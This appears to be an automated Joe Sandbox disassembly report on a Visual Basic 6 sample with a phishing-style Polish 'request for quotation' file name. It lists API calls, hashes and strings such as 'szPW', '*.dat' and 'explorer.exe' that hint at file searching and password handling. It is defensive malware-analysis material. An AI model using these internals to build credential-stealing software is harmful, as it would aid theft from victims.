Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaI2I4.MSVBVM60(?,00000000), ref: 00421663
#570.MSVBVM60(00000000,?,00000000), ref: 00421666
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421679
__vbaFileSeek.MSVBVM60(00000000,00000000,?,00000000), ref: 0042167D
#648.MSVBVM60(0000000A,?,00000000), ref: 00421695
__vbaFreeVar.MSVBVM60(?,00000000), ref: 004216A4
__vbaI2I4.MSVBVM60(?,?,00000000), ref: 004216B0
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000,?,00000000), ref: 004216BA
#525.MSVBVM60(00001000,?,00000000), ref: 004216C5
__vbaStrMove.MSVBVM60(?,00000000), ref: 004216D0
__vbaI2I4.MSVBVM60(?,00000000), ref: 004216D8
#570.MSVBVM60(00000000,?,00000000), ref: 004216DB
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421712
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042171B
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421723
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042172C
#598.MSVBVM60(?,00000000), ref: 00421744
#525.MSVBVM60(-00000001,?,00000000), ref: 00421764
__vbaStrMove.MSVBVM60(?,00000000), ref: 0042176F
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421777
__vbaGet3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 00421780
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421788
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 00421791
#598.MSVBVM60(?,00000000), ref: 0042179E
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004217E9

Part of subcall function 00411210: #594.MSVBVM60(?,6CF8D9F5,-00000001,6CF8D8B1), ref: 0041127A
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60 ref: 00411283
Part of subcall function 00411210: __vbaLenBstr.MSVBVM60 ref: 0041128F
Part of subcall function 00411210: #631.MSVBVM60(?,?,0000000A), ref: 004112C8
Part of subcall function 00411210: __vbaStrMove.MSVBVM60(?,?,0000000A), ref: 004112D3
Part of subcall function 00411210: #516.MSVBVM60(00000000,?,?,0000000A), ref: 004112DA
Part of subcall function 00411210: __vbaFreeStr.MSVBVM60(?,?,0000000A), ref: 004112E9
Part of subcall function 00411210: __vbaFreeVar.MSVBVM60(?,?,0000000A), ref: 004112F2

__vbaStrMove.MSVBVM60(?,?,00000000), ref: 004217FD
__vbaI2I4.MSVBVM60(?,00000000), ref: 00421805
__vbaPut3.MSVBVM60(00000000,?,00000000,?,00000000), ref: 0042180E
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,00000000), ref: 00421822
__vbaI2I4.MSVBVM60 ref: 0042182D
__vbaFileClose.MSVBVM60(00000000), ref: 00421830
__vbaExitProc.MSVBVM60 ref: 00421839
__vbaI2I4.MSVBVM60 ref: 0042184F
__vbaFileClose.MSVBVM60(00000000), ref: 00421858
__vbaI2I4.MSVBVM60 ref: 0042185D
__vbaFileClose.MSVBVM60(00000000), ref: 00421860
__vbaExitProc.MSVBVM60 ref: 00421869
__vbaFreeStr.MSVBVM60(004218B2), ref: 004218A0
__vbaFreeStr.MSVBVM60 ref: 004218A5
__vbaFreeStr.MSVBVM60 ref: 004218AA
__vbaFreeStr.MSVBVM60 ref: 004218AF
__vbaErrorOverflow.MSVBVM60(?,00000000), ref: 004218C9

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$File$Copy$#516#631BstrClosePut3$#525#570Get3$#598#648ErrorExitListOpenProcSeek$#537#594Overflow
String ID:
API String ID: 936154001-0
Opcode ID: 3aa9f9ede1c026c034044edf61044cbf9f29f764a31bed732f8cbd30b78298b1
Instruction ID: 6fbf1135f095249bf70c03af9044da0b22cab9efce2ca8aeaf0a64a19547a855
Opcode Fuzzy Hash: 3aa9f9ede1c026c034044edf61044cbf9f29f764a31bed732f8cbd30b78298b1
Instruction Fuzzy Hash: B7B11B75E002589FCB04EFE4DE88AEEBBB9EF48341F10412AE506E72A4DB785945CF54

Function 0040DBF0 Relevance: 91.4, APIs: 49, Strings: 3, Instructions: 401COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(?,Function_000032B6), ref: 0040DC0E
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,?,?,?,Function_000032B6), ref: 0040DC57
__vbaOnError.MSVBVM60(000000FF,?,?,?,?,Function_000032B6), ref: 0040DC66
__vbaSetSystemError.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DC7E
__vbaSetSystemError.MSVBVM60(?,?,?,?,Function_000032B6), ref: 0040DCA8
__vbaSetSystemError.MSVBVM60(?,?,?,?,?,?,Function_000032B6), ref: 0040DCD1

Part of subcall function 00429F50: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,Function_000032B6), ref: 00429F6E
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429F9B
Part of subcall function 00429F50: __vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FA7
Part of subcall function 00429F50: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00429FB6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,Function_000032B6), ref: 00429FCF
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 00429FDF
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 00429FED
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00429FF6
Part of subcall function 00429F50: __vbaStrToAnsi.MSVBVM60(00000004,?,00000000,00000004,00403208,00000004,?,?,?,00000000,Function_000032B6), ref: 0042A015
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,00000000,?,?,?,00000000,Function_000032B6), ref: 0042A025
Part of subcall function 00429F50: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,Function_000032B6), ref: 0042A033
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A03C
Part of subcall function 00429F50: __vbaSetSystemError.MSVBVM60(?,?,?,?,00000000,Function_000032B6), ref: 0042A052
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(0042A07C,?,?,?,00000000,Function_000032B6), ref: 0042A06C
Part of subcall function 00429F50: __vbaFreeStr.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042A075

Part of subcall function 004296C0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CAFD,0042C0D4), ref: 004296DE
Part of subcall function 004296C0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042970E
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 00429723
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 0042973D
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,?,?,?,Function_000032B6), ref: 0040DD2F
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0040DD69
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0040DD7F
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0040DD98
#525.MSVBVM60(00000104), ref: 0040DDC1
__vbaStrMove.MSVBVM60 ref: 0040DDCC
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0040DE03
__vbaGenerateBoundsError.MSVBVM60 ref: 0040DE42
__vbaStrToAnsi.MSVBVM60(?,?,000001F4), ref: 0040DE5D
__vbaSetSystemError.MSVBVM60(?,00000000,00000000), ref: 0040DE83
__vbaStrToUnicode.MSVBVM60(?,?), ref: 0040DE94
__vbaFreeStr.MSVBVM60 ref: 0040DEA9
#616.MSVBVM60(?,?), ref: 0040DEBE
__vbaStrMove.MSVBVM60 ref: 0040DECC
__vbaStrMove.MSVBVM60(?), ref: 0040DEE6
#517.MSVBVM60(00000000), ref: 0040DEED
__vbaStrMove.MSVBVM60 ref: 0040DEF8
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040DF0E
__vbaLenBstr.MSVBVM60(?,?,?,Function_000032B6), ref: 0040DF22
__vbaStrCmp.MSVBVM60(00000000,?,?,?,Function_000032B6), ref: 0040DF58
__vbaStrCopy.MSVBVM60(?,?,Function_000032B6), ref: 0040DFC0
__vbaStrMove.MSVBVM60(?,?,?,Function_000032B6), ref: 0040DFDA
__vbaStrMove.MSVBVM60(?,00000000,?,?,Function_000032B6), ref: 0040DFF5
__vbaStrCmp.MSVBVM60(00000000,?,?,Function_000032B6), ref: 0040DFFC
__vbaFreeStrList.MSVBVM60(00000003,?,?,?,?,?,Function_000032B6), ref: 0040E027
__vbaStrCopy.MSVBVM60 ref: 0040E04A
__vbaStrCmp.MSVBVM60(00000000,?,?,?,Function_000032B6), ref: 0040E064
__vbaRecUniToAnsi.MSVBVM60(00405598,?,?,?,?,Function_000032B6), ref: 0040E0AB
__vbaSetSystemError.MSVBVM60(?,00000000,?,?,Function_000032B6), ref: 0040E0C1
__vbaRecAnsiToUni.MSVBVM60(00405598,?,?,?,?,Function_000032B6), ref: 0040E0DA
__vbaSetSystemError.MSVBVM60(?), ref: 0040E0FE
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040E182
__vbaStrCat.MSVBVM60( SE,00000000,00000000), ref: 0040E19B
#600.MSVBVM60(00000008,00000000), ref: 0040E1BA
__vbaFreeVar.MSVBVM60 ref: 0040E1CC
#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0E4,00000000), ref: 0040E242
__vbaStrCat.MSVBVM60( PR,00000000,00000000), ref: 0040E25A
#600.MSVBVM60(00000008,00000000), ref: 0040E279
__vbaFreeVar.MSVBVM60 ref: 0040E28B

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60(6D076537,00000000,00000000), ref: 00425A0A
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A12
Part of subcall function 004259A0: __vbaOnError.MSVBVM60(00000001), ref: 00425A16
Part of subcall function 004259A0: #648.MSVBVM60(0000000A), ref: 00425A2E
Part of subcall function 004259A0: __vbaFreeVar.MSVBVM60 ref: 00425A3D
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60(?), ref: 00425A4F
Part of subcall function 004259A0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00425A59
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425A61
Part of subcall function 004259A0: #570.MSVBVM60(00000000), ref: 00425A64
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425A74
Part of subcall function 004259A0: __vbaStrCopy.MSVBVM60 ref: 00425A93
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60(?), ref: 00425AA9
Part of subcall function 004259A0: __vbaFreeStr.MSVBVM60 ref: 00425AAE
Part of subcall function 004259A0: __vbaLenBstr.MSVBVM60(0040545C), ref: 00425AC2
Part of subcall function 004259A0: #525.MSVBVM60(00000000), ref: 00425AC9
Part of subcall function 004259A0: __vbaStrMove.MSVBVM60 ref: 00425AD4
Part of subcall function 004259A0: __vbaI2I4.MSVBVM60 ref: 00425AD9
Part of subcall function 004259A0: __vbaGet4.MSVBVM60(00000000,?,-00000001,00000000), ref: 00425AE3

#598.MSVBVM60 ref: 0040E298
__vbaFreeStr.MSVBVM60(0040E305), ref: 0040E2DD
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0040E2F5
__vbaFreeStr.MSVBVM60 ref: 0040E2FE

Part of subcall function 0041A090: __vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0041A0AE
Part of subcall function 0041A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0041A0DE
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(001F03FF,00000000,00000000,?,?,?,00000000,Function_000032B6), ref: 0041A118
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041A141
Part of subcall function 0041A090: __vbaSetSystemError.MSVBVM60(00000000), ref: 0041A157

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

Strings

PR, xrefs: 0040E255
>, xrefs: 0040E291
SE, xrefs: 0040E196

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$FreeMoveSystem$Copy$Ansi$Chkstk$Bstr$#525#580FileListUnicode$#570#600#616#648Open$#517#529#598BoundsConstruct2DestructGenerateGet3Get4Seek
String ID: PR$ SE$>
API String ID: 1583011778-1191765531
Opcode ID: 45859f09e341b6f6bdbc91610b05257dc4f75515ba4226435016caa82a9c69b6
Instruction ID: f905f382651ed8b103fe9430cada2d1d943483e90bd52cba87cb48a71c5da37b
Opcode Fuzzy Hash: 45859f09e341b6f6bdbc91610b05257dc4f75515ba4226435016caa82a9c69b6
Instruction Fuzzy Hash: F7122D75A01219EBDB14DFA0DE88BDE7BB4FF48304F1081A9E505B72A0DB785A85CF58

Function 0041BDC7 Relevance: 91.3, APIs: 49, Strings: 3, Instructions: 299COMMON

Download Yara Rule

APIs

__vbaGenerateBoundsError.MSVBVM60 ref: 0041BE27
__vbaGenerateBoundsError.MSVBVM60 ref: 0041BE44
__vbaStrCat.MSVBVM60(00000000,?), ref: 0041BE64
__vbaStrMove.MSVBVM60 ref: 0041BE72
__vbaStrCat.MSVBVM60(00406544,00000000), ref: 0041BE7E
__vbaStrMove.MSVBVM60 ref: 0041BE89
__vbaFreeStr.MSVBVM60 ref: 0041BE95
__vbaRecUniToAnsi.MSVBVM60(004055BC,?,?), ref: 0041BEB5
__vbaStrCat.MSVBVM60(*.dat,?,00000000), ref: 0041BEC5
__vbaStrMove.MSVBVM60 ref: 0041BED3
__vbaStrToAnsi.MSVBVM60(?,00000000), ref: 0041BEE1
__vbaSetSystemError.MSVBVM60(00000000), ref: 0041BEF3
__vbaRecAnsiToUni.MSVBVM60(004055BC,?,?), ref: 0041BF0C
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0041BF2B
__vbaStrFixstr.MSVBVM60(00000104,?), ref: 0041BF58
__vbaStrMove.MSVBVM60 ref: 0041BF66
__vbaStrMove.MSVBVM60(00000000), ref: 0041BF7A
__vbaLsetFixstr.MSVBVM60(00000104,?,?), ref: 0041BF93
__vbaStrMove.MSVBVM60 ref: 0041BFB8
__vbaFreeStr.MSVBVM60 ref: 0041BFC4
__vbaStrCat.MSVBVM60(?,?), ref: 0041BFD9
__vbaStrMove.MSVBVM60 ref: 0041BFE7
#578.MSVBVM60(00000000), ref: 0041BFEE
__vbaFreeStr.MSVBVM60 ref: 0041C00D
__vbaStrCat.MSVBVM60(?,?), ref: 0041C031
__vbaStrMove.MSVBVM60 ref: 0041C03F
__vbaStrMove.MSVBVM60(?), ref: 0041C056
__vbaFreeStr.MSVBVM60 ref: 0041C062
__vbaInStr.MSVBVM60(00000000,["szPW"],?,00000001), ref: 0041C07C
__vbaInStr.MSVBVM60(00000000,004095E4,?,-00000008), ref: 0041C0B5
__vbaInStr.MSVBVM60(00000000,004095E4,?,-00000001), ref: 0041C0EE
__vbaStrCopy.MSVBVM60 ref: 0041C353
__vbaFreeStr.MSVBVM60(0041C3F0), ref: 0041C3B0
__vbaFreeStr.MSVBVM60 ref: 0041C3B9
__vbaFreeStr.MSVBVM60 ref: 0041C3C2
__vbaFreeStr.MSVBVM60 ref: 0041C3CB
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041C3D7
__vbaFreeStr.MSVBVM60 ref: 0041C3E0
__vbaFreeStr.MSVBVM60 ref: 0041C3E9
__vbaErrorOverflow.MSVBVM60 ref: 0041C406

Strings

59ABCQEF01, xrefs: 0041C236
["szPW"], xrefs: 0041C075
*.dat, xrefs: 0041BEC0

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Free$Move$Error$Ansi$BoundsFixstrGenerate$#578CopyDestructListLsetOverflowSystem
String ID: *.dat$59ABCQEF01$["szPW"]
API String ID: 806118442-2789598873
Opcode ID: a5ac6cd11d6c4d803174f6a91ff4b35df35804981069048ccf288ae3b20bb73f
Instruction ID: e520ffca7d995d5c9d8e1e4b7866a297511e66e05a072c8871b128296ca8dfb1
Opcode Fuzzy Hash: a5ac6cd11d6c4d803174f6a91ff4b35df35804981069048ccf288ae3b20bb73f
Instruction Fuzzy Hash: 78D10C71A00258EFDB14DFA0DE88BDEB775EB48301F1081A9E50AB72A0DB745E85CF19

Function 0041A980 Relevance: 75.5, APIs: 35, Strings: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0041A99E
__vbaStrCopy.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041A9CE
__vbaAryConstruct2.MSVBVM60(?,00408078,00000003,?,00000000,?,00000000,Function_000032B6), ref: 0041A9DF
__vbaOnError.MSVBVM60(000000FF,?,00000000,?,00000000,Function_000032B6), ref: 0041A9EE
__vbaSetSystemError.MSVBVM60(0000000F,00000000,?,00000000,?,00000000,Function_000032B6), ref: 0041AA0A
__vbaRecUniToAnsi.MSVBVM60(00405598,?,00000128), ref: 0041AA44
__vbaSetSystemError.MSVBVM60(?,00000000), ref: 0041AA5A
__vbaRecAnsiToUni.MSVBVM60(00405598,00000128,?), ref: 0041AA73
#525.MSVBVM60(00000104), ref: 0041AA9C
__vbaStrMove.MSVBVM60 ref: 0041AAA7
__vbaSetSystemError.MSVBVM60(00000410,00000000,?), ref: 0041AADE
__vbaGenerateBoundsError.MSVBVM60 ref: 0041AB1D
__vbaStrToAnsi.MSVBVM60(?,00000000,000001F4), ref: 0041AB38
__vbaSetSystemError.MSVBVM60(?,?,00000000), ref: 0041AB5E
__vbaStrToUnicode.MSVBVM60(00000000,?,?,00000000), ref: 0041AB6F
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041AB84
#616.MSVBVM60(00000000,?,?,00000000), ref: 0041AB99
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041ABA7
__vbaStrMove.MSVBVM60(?,?,00000000), ref: 0041ABBE
__vbaFreeStr.MSVBVM60(?,00000000), ref: 0041ABCA
#517.MSVBVM60(?,?,00000000), ref: 0041ABDB
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041ABE9
#517.MSVBVM60(?,00000000,?,00000000), ref: 0041ABF7
__vbaStrMove.MSVBVM60(?,00000000), ref: 0041AC05
__vbaStrCmp.MSVBVM60(00000000,?,00000000), ref: 0041AC0C
__vbaFreeStrList.MSVBVM60(00000002,?,?,?,00000000), ref: 0041AC30
__vbaRecUniToAnsi.MSVBVM60(00405598,?,?,?,00000000,Function_000032B6), ref: 0041AC77
__vbaSetSystemError.MSVBVM60(?,00000000,?,00000000,Function_000032B6), ref: 0041AC8D
__vbaRecAnsiToUni.MSVBVM60(00405598,?,?,?,00000000,Function_000032B6), ref: 0041ACA6
__vbaSetSystemError.MSVBVM60(?), ref: 0041ACCA
__vbaFreeStr.MSVBVM60(0041AD37), ref: 0041AD03
__vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041AD1B
__vbaFreeStr.MSVBVM60 ref: 0041AD24
__vbaFreeStr.MSVBVM60 ref: 0041AD30

Strings

00000, xrefs: 0041B720
d/m/yy h:m, xrefs: 0041B435
59ABCQEF01, xrefs: 0041C236
["szPW"], xrefs: 0041C075
yymmdd, xrefs: 0041B6CE
system\, xrefs: 0041AFA8, 0041B1B7, 0041B2C6, 0041B763
+, xrefs: 0041BA22
*.dat, xrefs: 0041BEC0

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$Error$FreeSystem$AnsiMove$#517$#525#616BoundsChkstkConstruct2CopyDestructGenerateListUnicode
String ID: *.dat$+$00000$59ABCQEF01$["szPW"]$d/m/yy h:m$system\$yymmdd
API String ID: 3648932012-3366732667
Opcode ID: 7668726f4cd95b987f5e59ec2b7e3e1321d326a0ceac46527a88094c400bc5a0
Instruction ID: 2d0d5c7510d645d02d0112559b502ebe2581ea1b8a188934723facc0c59fc7af
Opcode Fuzzy Hash: 7668726f4cd95b987f5e59ec2b7e3e1321d326a0ceac46527a88094c400bc5a0
Instruction Fuzzy Hash: 03A11875901219EBDB10DFA0DE48BDEBBB4FB48305F1081A9E50AB72A0DB745A84CF58

Function 004190D0 Relevance: 73.7, APIs: 30, Strings: 12, Instructions: 179COMMON

Download Yara Rule

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 004190EE
__vbaStrCopy.MSVBVM60(00000000,?,?,00000000,Function_000032B6), ref: 0041911B
__vbaOnError.MSVBVM60(000000FF), ref: 0041912A
#618.MSVBVM60(?,00000004), ref: 0041913D
__vbaStrMove.MSVBVM60 ref: 00419148
#517.MSVBVM60(00000000), ref: 0041914F
__vbaStrMove.MSVBVM60 ref: 0041915A
__vbaFreeStr.MSVBVM60 ref: 00419163
__vbaStrCmp.MSVBVM60(.png,?), ref: 00419179
__vbaStrCopy.MSVBVM60 ref: 00419192
__vbaStrCmp.MSVBVM60(.gif,?), ref: 004191AD
__vbaStrCopy.MSVBVM60 ref: 004191C6
__vbaSetSystemError.MSVBVM60(?,00000000,?), ref: 004192FA
#644.MSVBVM60(?,?,?), ref: 0041932B
__vbaSetSystemError.MSVBVM60(?,?,?,00000000), ref: 0041934A
__vbaSetSystemError.MSVBVM60(?,?,?), ref: 0041936F
__vbaFreeStr.MSVBVM60(004193A2), ref: 00419389
__vbaFreeStr.MSVBVM60 ref: 00419392
__vbaFreeStr.MSVBVM60 ref: 0041939B

Strings

jpeg, xrefs: 00419210
image/tiff, xrefs: 0041925A, 0041928B
image/png, xrefs: 0041918A
image/bmp, xrefs: 004192BC
tiff, xrefs: 00419275
.bmp, xrefs: 004192A6
image/gif, xrefs: 004191BE
.gif, xrefs: 004191A8
.png, xrefs: 00419174
.tif, xrefs: 00419244
image/jpeg, xrefs: 004191F2, 00419226, 004192D3
.jpg, xrefs: 004191DC

Memory Dump Source

Source File: 00000000.00000002.2026772498.0000000000402000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2026333371.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026486000.0000000000401000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026855820.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2026877233.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.jbxd

Similarity

API ID: __vba$ErrorFree$CopySystem$Move$#517#618#644Chkstk
String ID: .bmp$.gif$.jpg$.png$.tif$image/bmp$image/gif$image/jpeg$image/png$image/tiff$jpeg$tiff
API String ID: 1021285327-184555114
Opcode ID: ba1cf2ca1d92ba703dd7003ebc9d02931437add039b3899e3393abdce3672aa7
Instruction ID: 18cdca4dd913881e1e3906aabc5795d02bdbdb37ff3be22054c062f985fa0cbb
